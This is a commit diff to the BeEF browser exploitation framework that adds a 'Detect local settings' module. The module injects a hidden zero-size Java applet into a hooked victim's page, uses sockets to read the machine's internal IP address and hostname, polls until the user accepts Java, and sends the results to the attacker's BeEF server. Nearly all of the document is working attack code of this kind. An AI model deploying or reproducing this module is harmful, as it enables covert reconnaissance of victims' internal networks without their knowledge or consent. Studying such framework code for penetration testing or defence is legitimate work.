Addresses some of issue 135 - local settings are detected for chrome with user interaction to accept java
git-svn-id: https://beef.googlecode.com/svn/trunk@1062 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
BIN
modules/network/detect_local_settings/Beeffeine.class
Normal file
BIN
modules/network/detect_local_settings/Beeffeine.class
Normal file
Binary file not shown.
48
modules/network/detect_local_settings/Beeffeine.java
Normal file
48
modules/network/detect_local_settings/Beeffeine.java
Normal file
@@ -0,0 +1,48 @@
|
||||
import java.applet.*;
|
||||
import java.net.*;
|
||||
import java.util.*;
|
||||
|
||||
public class Beeffeine extends Applet {
|
||||
|
||||
public String MyIP()
|
||||
{
|
||||
String string = "unknown";
|
||||
String string4 = getDocumentBase().getHost();
|
||||
byte j = 80;
|
||||
String string2;
|
||||
String string3 = "internal_ip=";
|
||||
int k = 80;
|
||||
if (getDocumentBase().getPort() != -1)
|
||||
k = getDocumentBase().getPort();
|
||||
|
||||
try {
|
||||
string2 = new Socket(string4 , k).getLocalAddress().getHostAddress();
|
||||
if (!string2.equals("255.255.255.255"))
|
||||
string3 += string2;
|
||||
|
||||
}
|
||||
catch (SecurityException securityexception) {
|
||||
string3 += "FORBIDDEN";
|
||||
}
|
||||
catch (Exception exception) {
|
||||
string3 += "exception";
|
||||
}
|
||||
|
||||
string3 += "&internal_hostname=";
|
||||
|
||||
try {
|
||||
string3 += new Socket(string4 , k).getLocalAddress().getHostName();
|
||||
}
|
||||
catch (Exception exception) {
|
||||
string3 += "Cannot Lookup this IP";
|
||||
}
|
||||
|
||||
return (string3);
|
||||
}
|
||||
|
||||
public Beeffeine() {
|
||||
super();
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -14,12 +14,39 @@
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
var internal_hostname = beef.net.local.getLocalHostname();
|
||||
if (beef.browser.isFF()) {
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
var internal_hostname = beef.net.local.getLocalHostname();
|
||||
|
||||
if(internal_ip && internal_hostname) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,
|
||||
'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
|
||||
if(internal_ip && internal_hostname) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,
|
||||
'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
|
||||
}
|
||||
} else {
|
||||
//Trying to insert the Beeffeine applet
|
||||
content = "<APPLET code='Beeffeine' codebase='/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";
|
||||
$j('body').append(content);
|
||||
internal_counter = 0;
|
||||
//We have to kick off a loop now, because the user has to accept the running of the applet perhaps
|
||||
|
||||
|
||||
function waituntilok() {
|
||||
try {
|
||||
output = document.beeffeine.MyIP();
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, output);
|
||||
$j('#beeffeine').detach();
|
||||
return;
|
||||
} catch (e) {
|
||||
internal_counter++;
|
||||
if (internal_counter > 20) { //Timeout after 20 seconds
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=time out');
|
||||
$j('#beeffeine').detach(); //kill the applet
|
||||
return;
|
||||
}
|
||||
setTimeout(function() {waituntilok()},1000);
|
||||
}
|
||||
}
|
||||
//Lets not kick this off just yet
|
||||
setTimeout(function() {waituntilok()},5000);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -20,7 +20,7 @@ beef:
|
||||
category: "Network"
|
||||
name: "Detect local settings"
|
||||
description: "Grab the local network settings (ie internal ip address)."
|
||||
authors: ["pdp", "wade", "bm"]
|
||||
authors: ["pdp", "wade", "bm", "xntrik"]
|
||||
target:
|
||||
working: ["FF", "C"]
|
||||
not_working: ["IE"]
|
||||
@@ -20,7 +20,7 @@ class Detect_local_settings < BeEF::Core::Command
|
||||
'Name' => 'Detect local settings',
|
||||
'Description' => 'Grab the local network settings (i.e internal ip address)',
|
||||
'Category' => 'Network',
|
||||
'Author' => ['pdp', 'wade', 'bm'],
|
||||
'Author' => ['pdp', 'wade', 'bm', 'xntrik'],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
@@ -30,7 +30,7 @@ class Detect_local_settings < BeEF::Core::Command
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'verified_status' => VERIFIED_USER_NOTIFY,
|
||||
'browser_name' => C
|
||||
})
|
||||
|
||||
@@ -43,6 +43,12 @@ class Detect_local_settings < BeEF::Core::Command
|
||||
use_template!
|
||||
end
|
||||
|
||||
def pre_send
|
||||
#Mount the Beeffeine.class on /Beeffeine.class
|
||||
#Unsure if there's something we can add here to check if the module was already mounted?
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/detect_local_settings/Beeffeine.class','/Beeffeine','class')
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil?
|
||||
@@ -50,6 +56,9 @@ class Detect_local_settings < BeEF::Core::Command
|
||||
|
||||
content['fail'] = 'could not grab local network settings' if content.empty?
|
||||
|
||||
#Unmount the class now, it's no longer required.
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/Beeffeine.class');
|
||||
|
||||
save content
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user